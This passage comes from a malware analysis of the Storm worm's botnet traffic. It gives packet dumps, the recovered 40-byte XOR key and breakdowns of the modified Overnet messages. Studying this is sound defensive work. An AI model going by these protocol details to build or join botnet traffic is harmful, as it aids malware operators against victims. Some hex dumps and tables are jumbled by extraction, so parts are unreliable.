7678 64d4 0021 a64c 10a0 f411 29d2
vxd..!.L....).
IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 25
4500 0035 0307 0000 8011 7b60 c0a8 0269 E..5......{`...i
457f b3c0 7678 137d 0021 099d 10a0 f411 E...vx.}.!......
29d2 80ac d73f cd75 7fb2 1f2b 7abb 3ab7 )....?.u...+z.:.
1a77 a71a 46
.w..F
The trace includes IP and UDP headers.
The content of the actual application layer data are underlined.
Joe Stewart found in his article (back in February 07) that Storm UDP traffic is actually
an Overnet protocol traffic (slightly modified for the worm's purpose).
It was later suggested in the Internet that in the end of 2007 Storm had evolved and it is
now encrypting all its UDP packets using XOR encryption with a 40 bit key.
This 40 bit encryption key is different between various of Storm's instances so it was
suggested that Storm's developers made it intentionally in order to split the bot-net into
several portions so they can sell individual portions of the bot-net to spammers.
Those UDP packets doesn't look like an Overnet packets (except for their sizes) so I'm
guessing those are encrypted packets.
Looking at the Overnet protocol specification which can be found on:
https://opensvn.csie.org/mlnet/trunk/docs/overnet.txt
We can see that the example UDP transactions above are not the Standard Overnet
protocol.
Every Overnet packet should start with a byte of value 227 (hex: 0xE3) – this is not the
case in the example UDP transaction above (where each packet starts with a byte of value
0x10).
However, all the packets in the convention begins with a byte with value 0x10 so we can
conclude that 0xE3 had been encoded to 0x10.
The packet 07:17:12.028800 is probably an OvernetPublicize packet (according to the
Overnet specification an OvernetPublicize packet should has a size of 25 bytes – same as
OvernetConnect but judging by the context of the packet, that it acknowledged by a
packet with size of 2 byte I conclude that it's an OvernetPublicize).
So, in the second byte of the packet, the value 0x0D is encrypted to 0xA6.
The packet 07:17:12.480708 is probably an OvernetPublicized packet.
So, in the second byte of the packet, the value 0x0E is encrypted to 0xA7.
Now we'll verify the assumption that Storm is using a byte by byte XOR encryption.
Let us look at two UDP packets exchanged in Storm's bot-net between my VM and other
host:
16:39:55.691622
0x0000:
0x0010:
0x0020:
0x0030:
IP 193.55.112.125.5555 >
4500 0035 0000 4000 3011
c0a8 0269 15b3 7678 0021
42ff 8903 beb9 7af7 5cae
d1d2 6c79 46
192.168.2.105.30328: UDP, length 25
55f2 c137 707d [email protected]}
2bbf 10a6 7b75 ...i..vx.!+...{u
8671 3b72 1e4d B.....z.\..q;r.M
..lyF
07:17:12.028800 IP 192.168.2.105.30328 > 69.127.179.192.4989: UDP, length 25
0x0000: 4500 0035 0024 0000 8011 7e43 c0a8 0269 E..5.$....~C...i
0x0010: 457f b3c0 7678 137d 0021 1574 10a6 f411 E...vx.}.!.t....
0x0020: 29d2 80ac d73f cd75 7fb2 1f2b 7abb 633d )....?.u...+z.c=
0x0030: e613 a71a 46
....F
Those two packets are of the same Overnet type (begins with 0x10,0xa6).
We assumed this is an OvernetPublicize packet because of its size (25 bytes).
According to the Overnet specification the word at the position 0x32 (marked in bold) in
both of the packets is a little endian encoding of the sender's port number.
We know that in the first packet it should be equal to 5555 = 0x15b3 or 0xb3, 0x15 in
little endian.
So the suspected key is: 0x6c79 XOR 0xb315 = 0xdf6c.
Now if this is really a bitwise XOR encryption we should get the known sender's port
number from the second encrypted packet using the some part of the encryption key.
So we will try to decode the second packet's port number using the suspected key:
0xa71a XOR 0xdf6c = 0x7876 (little endian) = 30328.
Which is the senders UDP port of the second packet - just as we expected.
The 4 bytes in offsets 0x2d – 0x31 is used to keep the sender's IP address according to
Overnet specification so I was able to detect 4 more bytes of the decryption key and
verify it on other packets.
So, by far I got 6 consecutive bytes of the decryption key:
0x63, 0x3d, 0xe6, 0x13, 0xdf, 0x6c.
The other fields in Storm's encrypted Overnet packets doesn't hold known values (most of
them are just md4 hashes) so I couldn't continue this way to discover all of the 40 byte
key.
I tried different approach to discover the rest of the key which didn't go well:
1. I tried looking for the partial 6 bytes key in Storm's executable file
(msvupdater.exe) in order to find to whole key but didn't find anything.
2. I tried snooping in Storm's process' memory space and look for those 6 bytes
somewhere in the memory and, again, didn't find anything.
My guess is that Storm is using a random number generator with a constant seed (the ID
field from the msvupdater.config is my best candidate for this seed) to generate this 40
bytes key on the fly without storing the entire key directly in the memory.
Most of the UDP traffic contains encrypted hashes so it was really hard to know what
was the decrypted data of some packets in order to find the encryption key.
I used the msvupdater.config file which contain plain IDs, IP addresses and ports of some
nodes in the bot-net and tried to match them against the encrypted content of some
packets that I considered related to those nodes.
Finally, after a lot of hard work, and after I already knew the semantic of all the packets
(matched them to the right packet type according to the Overnet protocol using their sizes
and their periodicity) and just didn't know the exact content of them, I was able to find all
the bytes on the key and verify that it's really a 40 bytes key (the key began repeating
itself after 40 bytes).
The decryption key that I found was:
f3aa 580e 78de 9b37 1574 2c8f b341 c550 337a 633d
e613 df6c 46ca be9a 7748 9402 c0f3 6649 ee87 21bb
In the rest of this section I will only show decrypted packet for your convenience.
But note that those packets were captured encrypted and was decrypted by me afterward
(by a script).
Communication sequences in the bot-net
During my monitoring period of Storm, it produced a lot of traffic (total of 2,354 MB in 3
days) from this I isolated the UDP traffic, which was the major part of the entire traffic,
and investigated it.
When investigating the UDP traffic, I was able to isolate 5 different (almost independent)
sequences that some of them was triggered periodically and some of them was triggered
by external events.
Those sequences are used by different Storm's mechanisms in order to achieve three main
goals:
1. Maintain connectivity in the bot-net – send and receive liveness signals to and
from another nodes in the bot-net.
2. Maintain the distributed hash table which is the heart of the bot-net.
3. Try to overcome some topology obstacles like NAT and firewalls.
In this part of my work I will present the communication sequences of the bot-net that I
found.
Overnet Publicize sequence
The following sequence occur periodically every 10 seconds between my host and some
other particular hosts:
This is a simple Overnet sequence to inform other client that my node is alive and possess
a specific Overnet ID.
Using this sequence a bot-net's node can manage a list of active nodes in the bot-net.
Example for this sequence:
23:25:51.132732
0x0000:
0x0010:
0x0020:
0x0030:
23:26:02.179595
0x0000:
0x0010:
0x0020:
0x0030:
23:26:03.704569
0x0000:
0x0010:
0x0020:
23:26:13.235718
0x0000:
0x0010:
0x0020:
0x0030:
IP 192.168.2.105.30328 >
4500 0035 2489 0000 8011
4435 90fb 7678 58fc 0021
2a45 9923 a999 7648 45e2
91e8 7876 00
IP 192.168.2.105.30328 >
4500 0035 2a2c 0000 8011
4435 90fb 7678 58fc 0021
2a45 9923 a999 7648 45e2
91e8 7876 00
IP 68.53.144.251.22780 >
4500 001e 3aca 0000 7411
c0a8 0269 58fc 7678 000a
4435 90fb d984 91e8 58fc
IP 192.168.2.105.30328 >
4500 0035 2f86 0000 8011
4435 90fb 7678 58fc 0021
2a45 9923 a999 7648 45e2
91e8 7876 00
68.53.144.251.22780: UDP, length
7ded c0a8 0269 E..5...........i
fa33 e30c 1aeb D5..vxX....3....
7cca 3eb9 d984 .E....vHE.......
..xv.
68.53.144.251.22780: UDP, length
784a c0a8 0269 E..5......xJ...i
fa33 e30c 1aeb D5..vxX....3....
7cca 3eb9 d984 .E....vHE.......
..xv.
192.168.2.105.30328: UDP, length
73c3 4435 90fb E.......t.s.D5..
877c e30d b4cc ...iX.vx........
7678 000a
D5......X.vx..
68.53.144.251.22780: UDP, length
72f0 c0a8 0269 E..5......r....i
fa33 e30c 1aeb D5..vxX....3....
7cca 3eb9 d984 .E....vHE.......
..xv.
25
25
2
25
Explanation:
➔ The 16 bytes “1aeb 2a45 9923 a999 7648 45e2 7cca 3eb9” (marked in green),
specified in the Publicize packet, is my host's ID in the bot-net.
➔ The 4 bytes “d984 91e8” (marked in brown) is my global IP address in the
Internet (217.132.145.232).
✔ Note that although my local IP address is 192.168.2.105 and I'm behind NAT,
Storm still knows my real global IP. This was achieved by topology discovery
sequence that I will describe later in this section.
➔ The 2 bytes “7876” (marked in gray) are the port number Storm is using for UDP
communications (decimal: 30328).
Overnet Connect sequence
The following sequence occur periodically every 30 seconds between some of the active
nodes and my machine.
An active node is a node that happens to answer the Publicize requests described in the
“Publicize sequence”.
In this sequence, as opposed to the Publicize sequence, my machine will get a list of
another nodes in the bot-net that Storm may choose to add to the known clients list
(located in the file C:\WINDOWS\msvupdater.config).
Example for this sequence:
23:47:14.956131
0x0000:
0x0010:
0x0020:
0x0030:
23:47:15.337814
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:
23:47:47.902674
0x0000:
0x0010:
0x0020:
0x0030:
23:47:48.200557
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:
IP 192.168.2.105.30328 > 68.53.144.251.21433: UDP, length 25
4500 0035 b19f 0000 8011 f0d6 c0a8 0269 E..5...........i
4435 90fb 7678 53b9 0021 ff7c e30a 1aeb D5..vxS.........
2a45 9923 a999 7648 45e2 7cca 3eb9 d984 .E....vHE.......
91e8 7876 00
..xv.
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 280
4500 0134 cac8 0000 7311 e3ae 4435 90fb E..4....s...D5..
c0a8 0269 53b9 7678 0120 8d8b e30b 0c00 ...iS.vx. ......
1255 9bda c380 6e1d 0c4b d54b 99f6 5ba2 .U....n..K.K....
7b00 ce2e 4714 00c5 5651 89da abe1 7195 ....G...VQ....q.
604f bf27 72f6 6d58 fd11 a83c 1e00 e817 .O..r.mX........
e84c ...
IP 192.168.2.105.30328 > 68.53.144.251.21433: UDP, length 25
4500 0035 c06f 0000 8011 e206 c0a8 0269 E..5.o.........i
4435 90fb 7678 53b9 0021 ff7c e30a 1aeb D5..vxS.........
2a45 9923 a999 7648 45e2 7cca 3eb9 d984 .E....vHE.......
91e8 7876 00
..xv.
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 326
4500 0162 21d8 0000 7311 8c71 4435 90fb E..b....s..qD5..
c0a8 0269 53b9 7678 014e d427 e30b 0e00 ...iS.vx.N......
f5c1 a356 a729 2faa 0349 7431 b2b6 0149 ...V.....It1...I
c88e 637e 2b32 0081 602d faa4 670a c849 ..c..2......g..I
88b7 cf48 8aef af7c 1e7c ba87 0f00 0c8e ...H............
bee9 ...
..
In this example my machine got 12 new hosts (the number of hosts is marked in green).
One of them has the ID marked in brown, the IP 123.0.206.46 (marked in gray) and port
number 5191 (marked in light blue).
Search sequence
This sequence doesn't occur periodically but rather triggered by other events.
The time interval between every two consecutive sequences of this kind in my traces was
not seemed to be fixed.
In this sequence my host is trying to locate a resource in the bot-net.
This operation is the analogue to the operation get(key) on a normal hash table.
In normal Overnet protocol, this sequence will search for a URL of a file by specifying
the file's MD4 hash (which serves as a key in the DHT).
The URL in Overnet is a string which looks like:
bcp://<ip_address>:<port>
And it is retrieved in the SearchResult packet in the tags field (under a tag named 'loc').
Once the URL of a file was retrieved, a TCP connection establishes with the machine
which hosts the URL.
In Storm's bot-net, This TCP connection is, of course, encrypted and the encryption
seems to be stronger then a simple XOR encryption (some sources in the Internet claim
that it is a RSA encryption of data which was compressed using zlib).
The registry monitoring shows periodic writes to a registry entry that is related to some
encryption libraries which can be use for employing advanced encryption algorithms:
7376
24.94212532
msvupdater.exe:1444
SetValue
HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed
SUCCESS 25 73 E2 62 96 11 6C
8E ...
Example of search sequence:
00:27:04.988629 IP 192.168.2.105.30328 > 68.53.144.251.21433: UDP, length 19
0x0000: 4500 002f 3bd9 0000 8011 66a3 c0a8 0269 E.........f....i
0x0010: 4435 90fb 7678 53b9 001b 90c9 e30e 02c3 D5..vxS.........
0x0020: 0c94 f258 fb64 0ee5 594c 9e35 2c1b 2d
...X.d..YL.5...
00:27:06.245151 IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 111
0x0000: 4500 008b 31df 0000 7311 7d41 4435 90fb E...1...s..AD5..
0x0010: c0a8 0269 53b9 7678 0077 5169 e30f c30c ...iS.vx.wQi....
0x0020:
0x0030:
0x0040:
0x0050:
00:27:06.245475
0x0000:
0x0010:
0x0020:
0x0030:
00:27:07.746674
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
00:27:07.747309
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
00:27:07.748087
0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
00:27:07.748702
0x0000:
0x0010:
0x0020:
0x0030:
94f2 58fb 640e e559 4c9e 352c 1b2d 04c3 ..X.d..YL.5.....
00aa 3f61 7eeb 7aee 08f3 0aec 1b55 12c1 ...a..z......U..
5c3e 2566 2800 c300 c15b 7e59 f760 ef1f ...f.......Y....
8e1c
..
IP 192.168.2.105.30328 > 68.53.144.251.21433: UDP, length 23
4500 0033 3c88 0000 8011 65f0 c0a8 0269 E..3......e....i
4435 90fb 7678 53b9 001f c55a e310 c30c D5..vxS....Z....
94f2 58fb 640e e559 4c9e 352c 1b2d 0000 ..X.d..YL.5.....
00f4 01
...
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 38
4500 0042 352c 0000 7311 7a3d 4435 90fb E..B5...s.z.D5..
c0a8 0269 53b9 7678 002e ce6b e311 c30c ...iS.vx...k....
94f2 58fb 640e e559 4c9e 352c 1b2d 833a ..X.d..YL.5.....
7afa af65 1626 a16f f09a c17e 4e0a 0000 z..e...o....N...
0000
..
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 38
4500 0042 352d 0000 7311 7a3c 4435 90fb E..B5...s.z.D5..
c0a8 0269 53b9 7678 002e 11ea e311 c30c ...iS.vx........
94f2 58fb 640e e559 4c9e 352c 1b2d e1ab ..X.d..YL.5.....
a396 6306 058f 70cb 8bb4 451b e281 0000 ..c...p...E.....
0000
..
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 38
4500 0042 352e 0000 7311 7a3b 4435 90fb E..B5...s.z.D5..
c0a8 0269 53b9 7678 002e 2d03 e311 c30c ...iS.vx........
94f2 58fb 640e e559 4c9e 352c 1b2d 893f ..X.d..YL.5.....
78bc 03c8 af24 b983 f875 f657 e368 0000 x........u.W.h..
0000
..
IP 68.53.144.251.21433 > 192.168.2.105.30328: UDP, length 22
4500 0032 352f 0000 7311 7a4a 4435 90fb E..25...s.zJD5..
c0a8 0269 53b9 7678 001e a433 e312 c30c ...iS.vx...3....
94f2 58fb 640e e559 4c9e 352c 1b2d 0000 ..X.d..YL.5.....
0000
..
In this example my host is searching for the resource with the hash “c30c94f258fb64
0ee5594c9e352c1b2d” (marked in green) and get 4 (marked in gray) peers which has the
closest ID to the hash – meaning that those peer may know better about the location of
this resource.
One of them for example has the ID “0c94f258fb640ee5594c9e352c1b2d04” (marked in
brown) and IP:port of 193.92.62.37:10342 (marked in cyan).
Note that the number of tags returned on the SearchResult packets (with type 0x11 in
bold red) is always 0 (marked in orange).
In fact, it is always 0 for all the SearchResult packets in all of the network traces from my
3 days monitoring period.
This can suggest two scenarios:
1. None of the searches executed during the monitoring period found something
(because none of them returned a tag named 'loc' with the file's URL).
2. Storm altered (again) the Overnet protocol and it is now passing the searched-for
file URL in a different field of the SearchResult packet.
I rejects the first scenario because I did saw some TCP connections with other hosts in
the bot-net – meaning that my host did make some successful searches.
And more importantly, all the hash map entries publishes targeted for my host (described
later in this section) published hash entries without any tags – if the URL for the file
described by the table entry is not supplied, why should the table entry be published at
all?
This leads to the conclusion that in SearchResult packet (with type 0x11 in bold red), the
returned value marked in purple is an encrypted URL of where to get this file rather than
the ID of the node that owns this file (like in normal Overnet protocol).
The important data that this value holds is the IP address and TCP port number of the
host that owns this file.
Once this URL is decoded, a TCP connection is established with the node and the file is
downloaded via an encrypted connection.
Search statistics for the first and second day:
Has h whi ch was l ooked f or
f 744c6288c2f 9844188d80d26b2e4961
68b53799f da009b589f ef 143dc9f bad2
4e9b1d7f e386ef 9b6f e4d729c285a0b8
1a67e94baf 52bb673bb0a3f 58e516c84
a9f 678da3ee14af 6ca3f 32841de0f b13
d01d9f 016508711df 16659ab4407223a
0d5adc3ea245ae5a2ea396e881445f 77
2774f 658bc5f c87448bdb0029b5e7991
bf 0c8ef 054f 7600ce055489a33f 61129
e633b5177b1e8733077c6f c15a1d3850
7ecb4daf 13b61f cb9f 140759f 2b5d0e8
34810365c96cd58155cabd0f a86b869e
b2f f 81e347ea53f f d3483b8d26e9041c
c31092f 458f b6410e4594c9e37f a152d
98e567c92dd039e5b92e21730ccf ea02
82cf 51b317ba23cf a3180b5df 6b9d4ec
418e1072d679e28e62d7ca1cb57893ab
9ce96bcd31d43de9bd32257710d3ee06
004dcf 319538a14d219689db7437526a
0451d335993ca551259a8ddf 783b566e
5ba82a8cf 093f ca87cf 1e436cf 92adc5
1865ea4aaf 52bb663db0a1f 58d786b84
2572f 757bc5f c8734abdae029a857891
9ae76ccc31d43de8bf 3223770f f aed06
f e4bd0309538a14c239687db735e516a
db28ad0d72157e29007364b8503b2e47
024f d434993ca550279a8bdf 7762556e
0b58dd3da245ae5930a394e8806b5e77
b0f d82e247ea53f ed548398d2510031c
7cc94eae13b61f caa1140559f 1dccf e8
6f bc41a106a912bd9407f 84ce4cf c2db
3f 8c1171d679e28d64d7c81cb49f 92ab
f 542c7278c2f 98431a8d7ed26a554861
73c045a50aad16c1980bf c50e8d3c6df
327f 0464c96cd58057cabb0f a792859e
e835ba1a7f 228b360d8071c55d483b54
80cd52b217ba23cea518095df 5e0d3ec
a7f 479d93ee14af 5cc3f 30841c07f a13
c10e93f 358f b640f e6594a9e3621142d
4c991e7ee386ef 9a71e4d529c1ac9f b8
8dda5f bf 24c730dbb225166a02ede0f 9
89d65bbb20c32cd7ae211266f ee9dcf 5
d724a9096e117a25f c6f 60b44c372a43
b40186e64bee5702d94c3d9129140720
Sear ch packet s ent St ar t t i me( DD: HH: MM) End t i me( DD: HH: MM)
129
01: 07: 18
01: 07: 40
78
01: 07: 19
01: 07: 20
105
01: 07: 19
01: 07: 34
66
01: 07: 20
01: 07: 21
96
01: 07: 20
01: 07: 38
203
01: 07: 21
01: 07: 35
288
01: 07: 21
01: 07: 37
63
01: 07: 22
01: 07: 22
120
01: 07: 22
01: 07: 39
76
01: 07: 23
01: 07: 23
57
01: 07: 23
01: 07: 24
61
01: 07: 24
01: 07: 24
103
01: 07: 25
01: 07: 25
374
01: 07: 35
01: 07: 42
53
01: 07: 36
01: 07: 36
90
01: 07: 36
01: 07: 36
97
01: 07: 38
01: 07: 38
40
01: 07: 39
01: 07: 39
199
01: 07: 39
01: 07: 42
195
01: 07: 40
01: 07: 41
38
01: 07: 41
01: 07: 41
31
01: 23: 15
01: 23: 15
60
01: 23: 15
01: 23: 15
161
01: 23: 16
01: 23: 34
25
01: 23: 32
01: 23: 32
218
01: 23: 32
01: 23: 44
181
01: 23: 32
01: 23: 51
75
01: 23: 33
01: 23: 36
129
01: 23: 35
01: 23: 41
95
01: 23: 35
01: 23: 43
150
01: 23: 36
01: 23: 43
36
01: 23: 37
01: 23: 37
56
01: 23: 38
01: 23: 38
45
01: 23: 38
01: 23: 39
111
01: 23: 39
01: 23: 40
178
01: 23: 41
01: 23: 45
276
01: 23: 44
01: 23: 52
33
01: 23: 45
01: 23: 45
224
01: 23: 46
01: 23: 51
153
01: 23: 47
01: 23: 49
76
01: 23: 48
01: 23: 48
63
01: 23: 49
01: 23: 49
36
01: 23: 50
01: 23: 50
61
01: 23: 50
01: 23: 50
The above table covers only searches originated from my host.
The first thing we should notice is that my machine performed searches only in the
duration of about half an hour after I started the virtual machine (the virtual machine was
started at around 7:15 in the first day of monitoring and at around 23:15 in the second day
of monitoring).
We can see that after the first boot of my machine Storm looked for 21 different unique
hashes and on the second boot it looked for 23 different hash.
Search statistics for third day:
Has h whi ch was l ooked f or
044dd533993ca54f 269a8ddf 766d5c6e
7ec74f ad13b61f c9a0140759f 0e7d6e8
8bd45cba20c32cd6ad211466f df 4e3f 5
8f d860be24c730dab125186a01f 8e7f 9
f 33cc422882b943e15897cce655c4b5d
dd26ae0c72157e28f f 7366b84f 463547
ea33bb197f 228b350c8073c55c534254
d922aa086e117a24f b6f 62b44b423143
0049d12f 9538a14b229689db7269586a
75be46a40aad16c0970bf e50e7decddf
e62f b7157b1e8731087c6f c1584f 3e50
b2f b83e147ea53f dd4483b8d241b0a1c
f 740c8268c2f 9842198d80d269604f 61
1a63eb49af 52bb653cb0a3f 58c837284
a5ee76d43add46f 0c73b2e80170ef d0f
98e169c72dd039e3ba2e21730a01f 002
2770f 856bc5f c87249bdb00299907f 91
cc159df b61046d17ee6255a73e352436
c30c94f 258f b640ee5594c9e352c1b2d
bf 0890ee54f 7600ae155489a31281729
9ce56dcb31d43de7be3225770e05f 406
4e971f 7de386ef 9970e4d729c0b7a6b8
a9f 27ad83ee14af 4cb3f 32841b120113
b6f f 87e54bee5701d84c3f 91281f 0e20
d019a1f f 6508711bf 26659ab4239283a
0d56de3ca245ae582f a396e87f 766577
82cb53b117ba23cda4180b5df 4ebdaec
71ba42a006a912bc9307f a4ce3dac9db
f a47ea2e9538a14a259673db89505f 6a
2e7b1e62c96cd57e59caa70f bd84939e
c613b6f a61046d16f 1623f a7551c2b36
d724c70b72157e27027350b8662d3c47
f 13ee1258c2f 98411c8d6ad280475661
bd0aadf 158f b640de859369e4c13222d
acf 99ce047ea53f cd748258d3b02111c
ed3add21882b943d188966ce7c43525d
55a24589f 093f ca580f 1ce36e4abbac5
9f ec8f d33add46ef ca3b18802ef 5040f
96e386ca31d43de6c1320f 7725ecf b06
7cc96cb017ba23cca718f 55d0bd2e1ec
3b882b6f d679e28b66d7b41cca91a0ab
e431d4187f 228b340f 805dc5733a4954
85d275b920c32cd5b021f e6614dbeaf 5
78c568ac13b61f c8a314f 15907cedde8
a3f 093d73ee14af 3ce3f 1c8432f 90813
0754f 73ba245ae5732a380e8965d6c77
ca17baf e6508711af 56643ab59202f 3a
4895387ce386ef 9873e4c129d79eadb8
62af 5296f da009b28df edb43f 1b8c7d2
14610448af 52bb643f b08df 5a36a7984
b906a9ed54f 76009e455329a480f 1e29
89d679bd24c730d9b425026a18df eef 9
Sear ch packet s ent St ar t t i me( DD: HH: MM) End t i me( DD: HH: MM)
86
02: 23: 25
02: 23: 26
86
02: 23: 25
03: 00: 43
302
02: 23: 26
03: 00: 42
158
02: 23: 27
03: 00: 21
354
02: 23: 28
03: 00: 47
177
02: 23: 28
03: 00: 57
177
02: 23: 29
03: 00: 46
223
02: 23: 45
03: 00: 40
123
03: 00: 17
03: 00: 18
34
03: 00: 18
03: 00: 18
109
03: 00: 18
03: 00: 39
115
03: 00: 19
03: 00: 23
49
03: 00: 20
03: 00: 21
142
03: 00: 20
03: 00: 38
201
03: 00: 22
03: 00: 40
81
03: 00: 23
03: 00: 24
198
03: 00: 24
03: 00: 46
63
03: 00: 25
03: 00: 41
265
03: 00: 27
03: 00: 28
59
03: 00: 28
03: 00: 36
149
03: 00: 29
03: 00: 41
183
03: 00: 36
03: 00: 43
54
03: 00: 38
03: 00: 38
57
03: 00: 43
03: 00: 44
95
03: 00: 44
03: 00: 44
41
03: 00: 45
03: 00: 45
90
03: 00: 46
03: 00: 47
83
03: 00: 56
03: 00: 56
107
03: 01: 03
03: 01: 32
119
03: 01: 03
03: 01: 37
157
03: 01: 04
03: 01: 38
89
03: 01: 05
03: 01: 40
133
03: 01: 06
03: 01: 36
71
03: 01: 07
03: 01: 30
94
03: 01: 07
03: 01: 38
96
03: 01: 10
03: 01: 39
398
03: 01: 10
03: 01: 42
98
03: 01: 11
03: 01: 25
275
03: 01: 23
03: 01: 40
26
03: 01: 24
03: 01: 24
60
03: 01: 24
03: 01: 33
116
03: 01: 25
03: 01: 42
184
03: 01: 26
03: 01: 32
63
03: 01: 26
03: 01: 35
137
03: 01: 27
03: 01: 34
100
03: 01: 28
03: 01: 39
42
03: 01: 29
03: 01: 29
153
03: 01: 30
03: 01: 38
153
03: 01: 31
03: 01: 37
49
03: 01: 34
03: 01: 35
27
03: 01: 35
03: 01: 35
72
03: 01: 40
03: 01: 41
Here, in the third day of monitoring, I started my virtual machine at around 23:25 and
Storm began to search for hashes at this time.
In this day, as opposed to the previous two days, Storm looked for 52 unique hashes
(twice the number of usual hashes number it used to look for per day).
My guest is that is that Storm somehow performed a search for two days in this one
particular day (though I don't know why).
Peer topology discovery sequence
This sequence composed of two sub-sequences which are always executed
simultaneously:
1. A sequence which verifies a peer's Overnet ID (A 16 byte ID).
2. A sequence which detects the global IP of my machine as the other host sees it
(eliminate NAT and local IP addresses).
Note that the GetID and GetIDReply packets description doesn't appear in the Overnet
specification that I found on the Internet.
I assumed that those packet was destined to ask a peer of it's current Overnet ID in the
bot-net and to check the existence of firewall which might block this packet.
The GetMyIP packet is used by Storm to discover my global IP on the Internet,
eliminating some NAT effects that can make Storm think that it's running under different
local IP and detecting firewalls that might interfere with the communications.
So the GetMyIPReply packet returned by the other peer will contain my true global IP on
the Internet.
According to my network monitoring traces, this sequence is rarely executed.
In fact, it was executed only once for every host in the trace and most of the executions of
this sequence were in the beginning of the monitoring, when the worm started up.
This led me to believe that this sequence is executed with a node in the bot-net when it
first discovered (either by appearing in the initial msvupdater.config file or by being
received from another known peer).
Example of the peer topology discovery sequence:
07:17:12.489023
0x0000:
0x0010:
0x0020:
07:17:12.489230
0x0000:
0x0010:
0x0020:
07:17:12.900284
0x0000:
0x0010:
0x0020:
0x0030:
07:17:12.911833
0x0000:
0x0010:
0x0020:
07:17:15.436264
IP 192.168.2.105.30328 > 78.97.41.250.25812: UDP, length 2
4500 001e 004a 0000 8011 ff18 c0a8 0269 E....J.........i
4e61 29fa 7678 64d4 000a d86c e31e 0000 Na..vxd....l....
0000 0000 0000 0000 0000 0000 0000
..............
IP 192.168.2.105.30328 > 78.97.41.250.25812: UDP, length 4
4500 0020 004c 0000 8011 ff14 c0a8 0269 E.. .L.........i
4e61 29fa 7678 64d4 000c 2c07 e31b f46a Na..vxd........j
0000 0000 0000 0000 0000 0000 0000
..............
IP 78.97.41.250.25812 > 192.168.2.105.30328: UDP, length 24
4500 0034 8eff 0000 6e11 824d 4e61 29fa E..4....n..MNa..
c0a8 0269 64d4 7678 0020 4d3b e315 656a ...id.vx. M...ej
1e5f 44fd 4db7 921f 4a23 72c5 05d5 4e61 ._D.M...J.r...Na
29fa d464
...d
IP 78.97.41.250.25812 > 192.168.2.105.30328: UDP, length 6
4500 0022 8f04 0000 6e11 825a 4e61 29fa E.......n..ZNa..
c0a8 0269 64d4 7678 000e 5224 e31c 598a ...id.vx..R...Y.
fc64 4752 598a fc64 64d4 7678 000e
.dGRY..dd.vx..
IP 78.97.41.250.25812 > 192.168.2.105.30328: UDP, length 2
0x0000:
0x0010:
0x0020:
4500 001e 92e0 0000 6e11 7e82 4e61 29fa
c0a8 0269 64d4 7678 000a d869 e31d 1e06
4e61 29fa 598a fc64 64d4 7678 000a
E.......n...Na..
...id.vx...i....
Na..Y..dd.vx..
We can see that that contacted host returned his ID (in brown), IP address and port (in
cyan).
In his second reply message, the contacted host returned my IP address (in gray).
Publish sequence
Publishing data in the Overnet distributed hash table (DHT) is analogue for the operation
put(key,data) in normal hash table.
Recall from the Kademlia algorithm that the owner of some files in the DHT is not
necessarily the node that holds the hash table entry that translate this file's hash to its
URL.
A node that has a data (i.g. A file) and want to share it in the DHT calculate a 16 byte ID
for the file (In Overnet, a MD4 hash of the file's content) and then searches for nodes
which have the closest ID the file's ID.
It then chooses a constant number of nodes from this set and publishes the key and the
data to those nodes.
Those nodes are now responsible for responding to searches that desires this key and to
provide the searcher the data that was published for this key (which is a owner node's ID
in case of normal Overnet).
Example of this sequence:
07:18:45.347152 IP 116.111.249.50.16991 > 192.168.2.105.30328: UDP, length 38
0x0000: 4500 0042 6040 0000 7011 b9b7 746f f932 E..B....p...to.2
0x0010: c0a8 0269 425f 7678 002e 7915 e313 ae2f ...iB_vx..y.....
0x0020: e84d af06 bc61 38b0 a4ec 8f4e 5684 1a2c .M...a8....NV...
0x0030: ba81 0d65 21c7 1ca3 8013 0f9d 7382 0000 ...e........s...
0x0040: 0000
..
07:18:45.347315 IP 192.168.2.105.30328 > 116.111.249.50.16991: UDP, length 18
0x0000: 4500 002e 1da1 0000 8011 ec6a c0a8 0269 E..........j...i
0x0010: 746f f932 7678 425f 001a c56b e314 ae2f to.2vxB_...k....
0x0020: e84d af06 bc61 38b0 a4ec 8f4e 5684
.M...a8....NV.
In this example the resource with the hash key marked in brown is published on my host.
The data that is published for this key is “1a2cba810d6521c71ca380130f9d7382”
(marked in cyan).
Note that from my checks this value is NOT the ID of the node that published this table
entry (it is not the Overnet ID of the node on 116.111.249.50.16991 – as required by the
normal Overnet protocol) so I suspect that this value is used for something else - An
encrypted IP address and TCP port number of the URL that we can use to download this
file from.
This is a modification of the Overnet protocol since in Overnet (and older versions of
Storm) the data stored in the DHT for a certain key is the node ID which owns the file
and the URL of the file is published under a tag named “loc” which belongs to the
corresponding hash map entry.
The resource was publish without any eDonkey tag (the size of the tag array marked in
gray is 0).
In fact, all the publishes that appeared in my traces didn't have tags at all.
Later, I could see in my traces that my host is responding to search requests for that hash
and returns the previously published hash map entry:
07:54:58.052251 IP 216.255.189.211.56559 > 192.168.2.105.30328: UDP, length 23
0x0000: 4500 0033 0000 4000 3311 edd5 d8ff bdd3 E..3....3.......
0x0010: c0a8 0269 dcef 7678 001f 9c22 e310 ae2f ...i..vx........
0x0020: e84d af06 bc61 38b0 a4ec 8f4e 5684 0000 .M...a8....NV...
0x0030: 0050 c3
.P.
07:54:58.052470 IP 192.168.2.105.30328 > 216.255.189.211.56559: UDP, length 38
0x0000: 4500 0042 0af6 0000 8011 d5d0 c0a8 0269 E..B...........i
0x0010: d8ff bdd3 7678 dcef 002e b551 e311 ae2f ....vx.....Q....
0x0020: e84d af06 bc61 38b0 a4ec 8f4e 5684 1a2c .M...a8....NV...
0x0030: ba81 0d65 21c7 1ca3 8013 0f9d 7382 0000 ...e........s...
0x0040: 0000
..
Overnet traffic analysis – by packet types
Incoming UDP packets
Day 1
4500
4000
Connect
ConnectReply
Packets per minute
3500
Publicize
Publicized
3000
Search
SearchReply
2500
